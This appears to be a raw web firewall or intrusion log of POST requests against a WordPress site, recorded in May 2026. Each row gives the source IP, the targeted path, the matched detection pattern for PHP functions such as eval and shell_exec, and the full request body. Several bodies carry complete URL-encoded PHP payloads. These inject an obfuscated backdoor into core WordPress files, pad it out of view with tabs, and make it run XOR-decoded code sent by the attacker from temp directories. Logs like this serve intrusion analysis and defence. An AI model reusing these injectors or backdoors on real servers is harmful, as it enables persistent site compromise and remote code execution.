Safari\/537.36\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nYK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:55:29","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3881\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 11:55:58","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Im:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3858\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJ0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\nIm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:56:06","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3849\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIUNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\nTp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:56:22","103.145.5.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 